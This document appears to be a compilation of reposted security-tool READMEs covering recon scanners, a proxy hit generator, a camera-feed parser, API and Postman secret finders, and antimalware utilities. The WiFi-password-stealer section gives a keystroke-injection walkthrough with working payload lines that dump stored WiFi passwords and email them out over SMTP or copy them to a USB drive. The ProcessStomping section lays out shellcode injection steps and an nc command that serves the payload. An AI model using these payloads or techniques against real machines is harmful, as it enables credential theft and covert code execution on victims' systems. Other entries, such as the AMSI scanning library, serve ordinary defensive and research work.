░░░╚═╝░░░╚═╝░░╚══════╝╚═════╝░░╚════╝░░╚════╝░╚═╝░░░ ░╚═╝╚══════╝░╚════╝░░░░╚═╝░░░
[●] @h4r5h1t.hrs | G!2m0


[❌] Warning: Use with caution. You are responsible for your own actions.
[❌] Developers assume no liability and are not responsible for any misuse or damage cause by this tool.


Target: bugcrowd.com
Output: /home/gizmo/targets/bugcrowd
Threads: 100
Server: False
Exclude: False
Mode: Running all Enumeration
Time: 30-08-2021 15:10:00

[!] Please wait while scanning...

[●] Subdoamin Scanning is in progress: Scanning subdomains of bugcrowd.com
[●] Subdoamin Scanned - [assetfinder✔] Subdomain Found: 34
[●] Subdoamin Scanned - [sublist3r✔] Subdomain Found: 29
[●] Subdoamin Scanned - [subfinder✔] Subdomain Found: 54
[●] Subdoamin Scanned - [amass✔] Subdomain Found: 43
[●] Subdoamin Scanned - [findomain✔] Subdomain Found: 27

[●] Active Subdoamin Scanning is in progress:
[!] Please be patient. This may take a while...
[●] Active Subdoamin Scanned - [gobuster✔] Subdomain Found: 11
[●] Active Subdoamin Scanned - [amass✔] Subdomain Found: 0

[●] Subdomain Scanning: Filtering out of scope subdomains
[●] Subdomain Scanning: Filtering Alive subdomains
[●] Subdomain Scanning: Getting titles of valid subdomains
[●] Visual inspection of Subdoamins is completed. Check: /subdomains/aquatone/

[●] Scanning Completed for Subdomains of bugcrowd.com Total: 43 | Alive: 30

[●] Endpoints Scanning Completed for Subdomains of bugcrowd.com Total: 11032
[●] Vulnerabilities Scanning is in progress: Getting all vulnerabilities of bugcrowd.com
[●] Vulnerabilities Scanned - [XSS✔] Found: 0
[●] Vulnerabilities Scanned - [SQLi✔] Found: 0
[●] Vulnerabilities Scanned - [LFI✔] Found: 0
[●] Vulnerabilities Scanned - [CRLF✔] Found: 0
[●] Vulnerabilities Scanned - [SSRF✔] Found: 0
[●] Vulnerabilities Scanned - [Sensitive Data✔] Found: 0
[●] Vulnerabilities Scanned - [Open redirect✔] Found: 0
[●] Vulnerabilities Scanned - [Subdomain Takeover✔] Found: 0
[●] Vulnerabilities Scanned - [Nuclie✔] Found: 0
[●] Vulnerabilities Scanning Completed for Subdomains of bugcrowd.com Check: /vulnerabilities/


▒█▀▀█ █▀▀ █▀▀ █░░█ █░░ ▀▀█▀▀
▒█▄▄▀ █▀▀ ▀▀█ █░░█ █░░ ░░█░░
▒█░▒█ ▀▀▀ ▀▀▀ ░▀▀▀ ▀▀▀ ░░▀░░

[+] Subdomains of bugcrowd.com
[+] Subdomains Found: 0
[+] Subdomains Alive: 0
[+] Endpoints: 11032
[+] XSS: 0
[+] SQLi: 0
[+] Open Redirect: 0
[+] SSRF: 0
[+] CRLF: 0
[+] LFI: 0
[+] Sensitive Data: 0
[+] Subdomain Takeover: 0
[+] Nuclei: 0

Acknowledgement

WebCopilot is inspired from Garud & Pinaak by ROX4R.

Thanks to the authors of the tools & wordlists used in this script.

@aboul3la @tomnomnom @lc @hahwul @projectdiscovery @maurosoria @shelld3v @devanshbatham @michenriksen @defparam @projectdiscovery @bp0lr @ameenmaali @sqlmapproject @dwisiswant0 @OWASP @OJ @Findomain @danielmiessler @1ndianl33t @ROX4R

Warning: Developers assume no liability and are not responsible for any misuse or damage cause by this tool. So, please se with caution because you are responsible for your own actions.


PhantomCrawler - Boost Website Hits By Generating Requests From Multiple Proxy IPs

By: Zion3R


PhantomCrawler allows users to simulate website interactions through different proxy IP addresses. It leverages Python, requests, and BeautifulSoup to offer a simple and effective way to test website behaviour under varied proxy configurations.

Features:

  • Utilizes a list of proxy IP addresses from a specified file.
  • Supports both HTTP and HTTPS proxies.
  • Allows users to input the target website URL, proxy file path, and a static port.
  • Makes HTTP requests to the specified website using each proxy.
  • Parses HTML content to extract and visit links on the webpage.

Usage:

  • POC Testing: Simulate website interactions to assess functionality under different proxy setups.
  • Web Traffic Increase: Boost website hits by generating requests from multiple proxy IPs.
  • Proxy Rotation Testing: Evaluate the effectiveness of rotating proxy IPs.
  • Web Scraping Testing: Assess web scraping tasks under different proxy configurations.
  • DDoS Awareness: Caution: The tool has the potential for misuse as a DDoS tool. Ensure responsible and ethical use.

Get New Proxies with port and add in proxies.txt in this format 50.168.163.176:80
  • You can add it from here: https://free-proxy-list.net/ these free proxies are not validated some might not work so first validate these proxies before adding.

How to Use:

  1. Clone the repository:
git clone https://github.com/spyboy-productions/PhantomCrawler.git
  1. Install dependencies:
pip3 install -r requirements.txt
  1. Run the script:
python3 PhantomCrawler.py

Disclaimer: PhantomCrawler is intended for educational and testing purposes only. Users are cautioned against any misuse, including potential DDoS activities. Always ensure compliance with the terms of service of websites being tested and adhere to ethical standards.


Snapshots:

If you find this GitHub repo useful, please consider giving it a star! 



WiFi-password-stealer - Simple Windows And Linux Keystroke Injection Tool That Exfiltrates Stored WiFi Data (SSID And Password)

By: Zion3R


Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.

Disclaimer: All content in this project is intended for security research purpose only.

 

Introduction

During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).

Setup

After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.

Prerequisites

  • Physical access to victim's computer.

  • Unlocked victim's computer.

  • Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.

  • Knowledge of victim's computer password for the Linux exploit.

Requirements - What you'll need


  • Raspberry Pi Pico (RPi Pico)
  • Micro USB to USB Cable
  • Jumper Wire (optional)
  • pico-ducky - Transformed RPi Pico into a USB Rubber Ducky
  • USB flash drive (for the exploit over physical medium only)


Note:

  • It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.

  • However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.

  • In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.

Keystroke injection tool

Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.

Keystroke injection

The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.

Delays

We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.

Exfiltration

Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:

  • Exfiltration over the network medium.
    • This approach was used for the Windows exploit. The whole payload can be seen here.

  • Exfiltration over a physical medium.
    • This approach was used for the Linux exploit. The whole payload can be seen here.

Windows exploit

In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.

Sending stolen data over email

Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.

STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587

Note:

  • After sending data over the email, the .txt file is deleted.

  • You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.

  • Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.

Linux exploit

In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.

Storing stolen data to USB flash drive

Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.

STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt

STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt

In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.

STRING echo PASSWORD | sudo -S echo

STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')"

Bash script

In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:

echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK

where PASSWORD is your account's password and USBSTICK is the name for your USB device.

Quick overview of the payload

NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.

For more information about NetworkManager here is some useful links:

Exfiltrated data formatting

Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.

Wireless_Network_Name Password
--------------------- --------
WLAN1 pass1
WLAN2 pass2
WLAN3 pass3

USB Mass Storage Device Problem

One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.

Tip:

  • Upload your payload to RPi Pico before you connect the pins.
  • Don't solder the pins because you will probably want to change/update the payload at some point.

Payload Writer

When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.

python3 writer.py windows payload1.dd

Limitations/Drawbacks

  • This pico-ducky currently works only on Windows OS.

  • This attack requires physical access to an unlocked device in order to be successfully deployed.

  • The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.

  • Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.

  • Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.

  • The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.

  • Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.

  • If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.

  • If the computer has a non-English Environment set, this exploit won't be successful.

  • Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.

To-Do List

  • Fix Caps Lock bug.
  • Fix non-English Environment bug.
  • Obfuscate the command prompt.
  • Implement exfiltration over a physical medium.
  • Create a payload for Linux.
  • Encode/Encrypt exfiltrated data before sending it over email.
  • Implement indicator of successfully completed exploit.
  • Implement command history clean-up for Linux exploit.
  • Enhance the Linux exploit in order to avoid usage of sudo.


Pantheon - Insecure Camera Parser

By: Zion3R


Pantheon is a GUI application that allows users to display information regarding network cameras in various countries as well as an integrated live-feed for non-protected cameras.

Functionalities

Pantheon allows users to execute an API crawler. There was original functionality without the use of any API's (like Insecam), but Google TOS kept getting in the way of the original scraping mechanism.


Installation

  1. git clone https://github.com/josh0xA/Pantheon.git
  2. cd Pantheon
  3. pip3 install -r requirements.txt
    Execution: python3 pantheon.py
  • Note: I will later add a GUI installer to make it fully indepenent of a CLI

Windows

  • You can just follow the steps above or download the official package here.
  • Note, the PE binary of Pantheon was put together using pyinstaller, so Windows Defender might get a bit upset.

Ubuntu

  • First, complete steps 1, 2 and 3 listed above.
  • chmod +x distros/ubuntu_install.sh
  • ./distros/ubuntu_install.sh

Debian and Kali Linux

  • First, complete steps 1, 2 and 3 listed above.
  • chmod +x distros/debian-kali_install.sh
  • ./distros/debian-kali_install.sh

MacOS

  • The regular installation steps above should suffice. If not, open up an issue.

Usage

(Enter) on a selected IP:Port to establish a Pantheon webview of the camera. (Use this at your own risk)

(Left-click) on a selected IP:Port to view the geolocation of the camera.
(Right-click) on a selected IP:Port to view the HTTP data of the camera (Ctrl+Left-click for Mac).

Adjust the map as you please to see the markers.

  • Also note that this app is far from perfect and not every link that shows up is a live-feed, some are login pages (Do NOT attempt to login).

Ethical Notice

The developer of this program, Josh Schiavone, is not resposible for misuse of this data gathering tool. Pantheon simply provides information that can be indexed by any modern search engine. Do not try to establish unauthorized access to live feeds that are password protected - that is illegal. Furthermore, if you do choose to use Pantheon to view a live-feed, do so at your own risk. Pantheon was developed for educational purposes only. For further information, please visit: https://joshschiavone.com/panth_info/panth_ethical_notice.html

Licence

MIT License
Copyright (c) Josh Schiavone



ProcessStomping - A Variation Of ProcessOverwriting To Execute Shellcode On An Executable'S Section

By: Zion3R


A variation of ProcessOverwriting to execute shellcode on an executable's section

What is it

For a more detailed explanation you can read my blog post

Process Stomping, is a variation of hasherezade’s Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.

These are the main steps of the ProcessStomping technique:

  1. CreateProcess - setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004) in order to suspend the processes primary thread.
  2. WriteProcessMemory - used to write each malicious shellcode to the target process section.
  3. SetThreadContext - used to point the entrypoint to a new code section that it has written.
  4. ResumeThread - self-explanatory.

As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.


Disclaimer

All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.

Credits

This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @hasherezade and Nick Landers.

Usage

Select your target process and modify global variables accordingly in ProcessStomping.cpp.

Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:

cd \sRDI-master

python .\lib\Python\EncodeBlobs.py .\

Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:

python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll

The shellcode blob can then be xored with a key-word and downloaded using a simple socket

python xor.py noRLx86.bin noRLx86_enc.bin Bangarang

Deliver the xored blob upon connection

nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin

The sRDI blob will get erased after execution to remove unneeded artifacts.

Caveats

To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.

Detection opportunities

Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.



PipeViewer - A Tool That Shows Detailed Information About Named Pipes In Windows

By: Zion3R


A GUI tool for viewing Windows Named Pipes and searching for insecure permissions.

The tool was published as part of a research about Docker named pipes:
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 1"
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 2"

Overview

PipeViewer is a GUI tool that allows users to view details about Windows Named pipes and their permissions. It is designed to be useful for security researchers who are interested in searching for named pipes with weak permissions or testing the security of named pipes. With PipeViewer, users can easily view and analyze information about named pipes on their systems, helping them to identify potential security vulnerabilities and take appropriate steps to secure their systems.


Usage

Double-click the EXE binary and you will get the list of all named pipes.

Build

We used Visual Studio to compile it.
When downloading it from GitHub you might get error of block files, you can use PowerShell to unblock them:

Get-ChildItem -Path 'D:\tmp\PipeViewer-main' -Recurse | Unblock-File

Warning

We built the project and uploaded it so you can find it in the releases.
One problem is that the binary will trigger alerts from Windows Defender because it uses the NtObjerManager package which is flagged as virus.
Note that James Forshaw talked about it here.
We can't change it because we depend on third-party DLL.

Features

  • A detailed overview of named pipes.
  • Filter\highlight rows based on cells.
  • Bold specific rows.
  • Export\Import to\from JSON.
  • PipeChat - create a connection with available named pipes.

Demo

PipeViewer3_v1.0.mp4

Credit

We want to thank James Forshaw (@tyranid) for creating the open source NtApiDotNet which allowed us to get information about named pipes.

License

Copyright (c) 2023 CyberArk Software Ltd. All rights reserved
This repository is licensed under Apache-2.0 License - see LICENSE for more details.

References

For more comments, suggestions or questions, you can contact Eviatar Gerzi (@g3rzi) and CyberArk Labs.



APIDetector - Efficiently Scan For Exposed Swagger Endpoints Across Web Domains And Subdomains

By: Zion3R


APIDetector is a powerful and efficient tool designed for testing exposed Swagger endpoints in various subdomains with unique smart capabilities to detect false-positives. It's particularly useful for security professionals and developers who are engaged in API testing and vulnerability scanning.


Features

  • Flexible Input: Accepts a single domain or a list of subdomains from a file.
  • Multiple Protocols: Option to test endpoints over both HTTP and HTTPS.
  • Concurrency: Utilizes multi-threading for faster scanning.
  • Customizable Output: Save results to a file or print to stdout.
  • Verbose and Quiet Modes: Default verbose mode for detailed logs, with an option for quiet mode.
  • Custom User-Agent: Ability to specify a custom User-Agent for requests.
  • Smart Detection of False-Positives: Ability to detect most false-positives.

Getting Started

Prerequisites

Before running APIDetector, ensure you have Python 3.x and pip installed on your system. You can download Python here.

Installation

Clone the APIDetector repository to your local machine using:

git clone https://github.com/brinhosa/apidetector.git
cd apidetector
pip install requests

Usage

Run APIDetector using the command line. Here are some usage examples:

  • Common usage, scan with 30 threads a list of subdomains using a Chrome user-agent and save the results in a file:

    python apidetector.py -i list_of_company_subdomains.txt -o results_file.txt -t 30 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
  • To scan a single domain:

    python apidetector.py -d example.com
  • To scan multiple domains from a file:

    python apidetector.py -i input_file.txt
  • To specify an output file:

    python apidetector.py -i input_file.txt -o output_file.txt
  • To use a specific number of threads:

    python apidetector.py -i input_file.txt -t 20
  • To scan with both HTTP and HTTPS protocols:

    python apidetector.py -m -d example.com
  • To run the script in quiet mode (suppress verbose output):

    python apidetector.py -q -d example.com
  • To run the script with a custom user-agent:

    python apidetector.py -d example.com -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"

Options

  • -d, --domain: Single domain to test.
  • -i, --input: Input file containing subdomains to test.
  • -o, --output: Output file to write valid URLs to.
  • -t, --threads: Number of threads to use for scanning (default is 10).
  • -m, --mixed-mode: Test both HTTP and HTTPS protocols.
  • -q, --quiet: Disable verbose output (default mode is verbose).
  • -ua, --user-agent: Custom User-Agent string for requests.

RISK DETAILS OF EACH ENDPOINT APIDETECTOR FINDS

Exposing Swagger or OpenAPI documentation endpoints can present various risks, primarily related to information disclosure. Here's an ordered list based on potential risk levels, with similar endpoints grouped together APIDetector scans:

1. High-Risk Endpoints (Direct API Documentation):

  • Endpoints:
    • '/swagger-ui.html', '/swagger-ui/', '/swagger-ui/index.html', '/api/swagger-ui.html', '/documentation/swagger-ui.html', '/swagger/index.html', '/api/docs', '/docs', '/api/swagger-ui', '/documentation/swagger-ui'
  • Risk:
    • These endpoints typically serve the Swagger UI interface, which provides a complete overview of all API endpoints, including request formats, query parameters, and sometimes even example requests and responses.
    • Risk Level: High. Exposing these gives potential attackers detailed insights into your API structure and potential attack vectors.

2. Medium-High Risk Endpoints (API Schema/Specification):

  • Endpoints:
    • '/openapi.json', '/swagger.json', '/api/swagger.json', '/swagger.yaml', '/swagger.yml', '/api/swagger.yaml', '/api/swagger.yml', '/api.json', '/api.yaml', '/api.yml', '/documentation/swagger.json', '/documentation/swagger.yaml', '/documentation/swagger.yml'
  • Risk:
    • These endpoints provide raw Swagger/OpenAPI specification files. They contain detailed information about the API endpoints, including paths, parameters, and sometimes authentication methods.
    • Risk Level: Medium-High. While they require more interpretation than the UI interfaces, they still reveal extensive information about the API.

3. Medium Risk Endpoints (API Documentation Versions):

  • Endpoints:
    • '/v2/api-docs', '/v3/api-docs', '/api/v2/swagger.json', '/api/v3/swagger.json', '/api/v1/documentation', '/api/v2/documentation', '/api/v3/documentation', '/api/v1/api-docs', '/api/v2/api-docs', '/api/v3/api-docs', '/swagger/v2/api-docs', '/swagger/v3/api-docs', '/swagger-ui.html/v2/api-docs', '/swagger-ui.html/v3/api-docs', '/api/swagger/v2/api-docs', '/api/swagger/v3/api-docs'
  • Risk:
    • These endpoints often refer to version-specific documentation or API descriptions. They reveal information about the API's structure and capabilities, which could aid an attacker in understanding the API's functionality and potential weaknesses.
    • Risk Level: Medium. These might not be as detailed as the complete documentation or schema files, but they still provide useful information for attackers.

4. Lower Risk Endpoints (Configuration and Resources):

  • Endpoints:
    • '/swagger-resources', '/swagger-resources/configuration/ui', '/swagger-resources/configuration/security', '/api/swagger-resources', '/api.html'
  • Risk:
    • These endpoints often provide auxiliary information, configuration details, or resources related to the API documentation setup.
    • Risk Level: Lower. They may not directly reveal API endpoint details but can give insights into the configuration and setup of the API documentation.

Summary:

  • Highest Risk: Directly exposing interactive API documentation interfaces.
  • Medium-High Risk: Exposing raw API schema/specification files.
  • Medium Risk: Version-specific API documentation.
  • Lower Risk: Configuration and resource files for API documentation.

Recommendations:

  • Access Control: Ensure that these endpoints are not publicly accessible or are at least protected by authentication mechanisms.
  • Environment-Specific Exposure: Consider exposing detailed API documentation only in development or staging environments, not in production.
  • Monitoring and Logging: Monitor access to these endpoints and set up alerts for unusual access patterns.

Contributing

Contributions to APIDetector are welcome! Feel free to fork the repository, make changes, and submit pull requests.

Legal Disclaimer

The use of APIDetector should be limited to testing and educational purposes only. The developers of APIDetector assume no liability and are not responsible for any misuse or damage caused by this tool. It is the end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no responsibility for unauthorized or illegal use of this tool. Before using APIDetector, ensure you have permission to test the network or systems you intend to scan.

License

This project is licensed under the MIT License.

Acknowledgments



Py-Amsi - Scan Strings Or Files For Malware Using The Windows Antimalware Scan Interface

By: Zion3R


py-amsi is a library that scans strings or files for malware using the Windows Antimalware Scan Interface (AMSI) API. AMSI is an interface native to Windows that allows applications to ask the antivirus installed on the system to analyse a file/string. AMSI is not tied to Windows Defender. Antivirus providers implement the AMSI interface to receive calls from applications. This library takes advantage of the API to make antivirus scans in python. Read more about the Windows AMSI API here.


Installation

  • Via pip

    pip install pyamsi
  • Clone repository

    git clone https://github.com/Tomiwa-Ot/py-amsi.git
    cd py-amsi/
    python setup.py install

Usage

dictionary of the format # { # 'Sample Size' : 68, // The string/file size in bytes # 'Risk Level' : 0, // The risk level as suggested by the antivirus # 'Message' : 'File is clean' // Response message # }" dir="auto">
from pyamsi import Amsi

# Scan a file
Amsi.scan_file(file_path, debug=True) # debug is optional and False by default

# Scan string
Amsi.scan_string(string, string_name, debug=False) # debug is optional and False by default

# Both functions return a dictionary of the format
# {
# 'Sample Size' : 68, // The string/file size in bytes
# 'Risk Level' : 0, // The risk level as suggested by the antivirus
# 'Message' : 'File is clean' // Response message
# }
Risk Level Meaning
0 AMSI_RESULT_CLEAN (File is clean)
1 AMSI_RESULT_NOT_DETECTED (No threat detected)
16384 AMSI_RESULT_BLOCKED_BY_ADMIN_START (Threat is blocked by the administrator)
20479 AMSI_RESULT_BLOCKED_BY_ADMIN_END (Threat is blocked by the administrator)
32768 AMSI_RESULT_DETECTED (File is considered malware)

Docs

https://tomiwa-ot.github.io/py-amsi/index.html



Porch-Pirate - The Most Comprehensive Postman Recon / OSINT Client And Framework That Facilitates The Automated Discovery And Exploitation Of API Endpoints And Secrets Committed To Workspaces, Collections, Requests, Users And Teams

By: Zion3R


Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.

Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:

  • Workspaces
  • Collections
  • Requests
  • Users
  • Teams

Installation

python3 -m pip install porch-pirate

Using the client

The Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.

Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.

  • --globals
  • --collections
  • --requests
  • --urls
  • --dump
  • --raw
  • --curl

Simple Search

porch-pirate -s "coca-cola.com"

Get Workspace Globals

By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8

Dump Workspace

When an interesting result has been found with a simple search, we can provide the workspace ID to the -w argument with the --dump command to begin extracting information from the workspace and its collections.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --dump

Automatic Search and Globals Extraction

Porch Pirate can be supplied a simple search term, following the --globals argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.

porch-pirate -s "shopify" --globals

Automatic Search Dump

Porch Pirate can be supplied a simple search term, following the --dump argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.

porch-pirate -s "coca-cola.com" --dump

Extract URLs from Workspace

A particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --urls

Automatic URL Extraction

Porch Pirate will recursively extract all URLs from workspaces and their collections related to a simple search term.

porch-pirate -s "coca-cola.com" --urls

Show Collections in a Workspace

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --collections

Show Workspace Requests

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --requests

Show raw JSON

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --raw

Show Entity Information

porch-pirate -w WORKSPACE_ID
porch-pirate -c COLLECTION_ID
porch-pirate -r REQUEST_ID
porch-pirate -u USERNAME/TEAMNAME

Convert Request to Curl

Porch Pirate can build curl requests when provided with a request ID for easier testing.

porch-pirate -r 11055256-b1529390-18d2-4dce-812f-ee4d33bffd38 --curl

Use a proxy

porch-pirate -s coca-cola.com --proxy 127.0.0.1:8080

Using as a library

Searching

p = porchpirate()
print(p.search('coca-cola.com'))

Get Workspace Collections

p = porchpirate()
print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))

Dumping a Workspace

p = porchpirate()
collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
for collection in collections['data']:
requests = collection['requests']
for r in requests:
request_data = p.request(r['id'])
print(request_data)

Grabbing a Workspace's Globals

p = porchpirate()
print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))

Other Examples

Other library usage examples can be located in the examples directory, which contains the following examples:

  • dump_workspace.py
  • format_search_results.py
  • format_workspace_collections.py
  • format_workspace_globals.py
  • get_collection.py
  • get_collections.py
  • get_profile.py
  • get_request.py
  • get_statistics.py
  • get_team.py
  • get_user.py
  • get_workspace.py
  • recursive_globals_from_search.py
  • request_to_curl.py
  • search.py
  • search_by_page.py
  • workspace_collections.py


SecuSphere - Efficient DevSecOps

By: Zion3R


SecuSphere is a comprehensive DevSecOps platform designed to streamline and enhance your organization's security posture throughout the software development life cycle. Our platform serves as a centralized hub for vulnerability management, security assessments, CI/CD pipeline integration, and fostering DevSecOps practices and culture.


Centralized Vulnerability Management

At the heart of SecuSphere is a powerful vulnerability management system. Our platform collects, processes, and prioritizes vulnerabilities, integrating with a wide array of vulnerability scanners and security testing tools. Risk-based prioritization and automated assignment of vulnerabilities streamline the remediation process, ensuring that your teams tackle the most critical issues first. Additionally, our platform offers robust dashboards and reporting capabilities, allowing you to track and monitor vulnerability status in real-time.

Seamless CI/CD Pipeline Integration

SecuSphere integrates seamlessly with your existing CI/CD pipelines, providing real-time security feedback throughout your development process. Our platform enables automated triggering of security scans and assessments at various stages of your pipeline. Furthermore, SecuSphere enforces security gates to prevent vulnerable code from progressing to production, ensuring that security is built into your applications from the ground up. This continuous feedback loop empowers developers to identify and fix vulnerabilities early in the development cycle.

Comprehensive Security Assessment

